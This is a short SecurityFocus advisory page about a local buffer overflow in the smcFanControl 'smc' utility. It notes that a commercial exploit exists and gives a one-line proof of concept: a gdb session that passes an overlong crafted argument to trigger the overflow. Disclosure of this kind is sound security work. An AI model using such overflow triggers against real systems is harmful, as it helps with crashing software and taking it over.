Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Vista

smcFanControl Local Buffer Overflow Vulnerability

Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following proof of concept is available:

$ gdb -q /Applications/smcFanControl.app/Contents/Resources/smc
Reading symbols for shared libraries ... done
(gdb) r -k `ruby -e 'print "A" * 45'`BBBBCCCC







 

Privacy Statement
Copyright 2008, SecurityFocus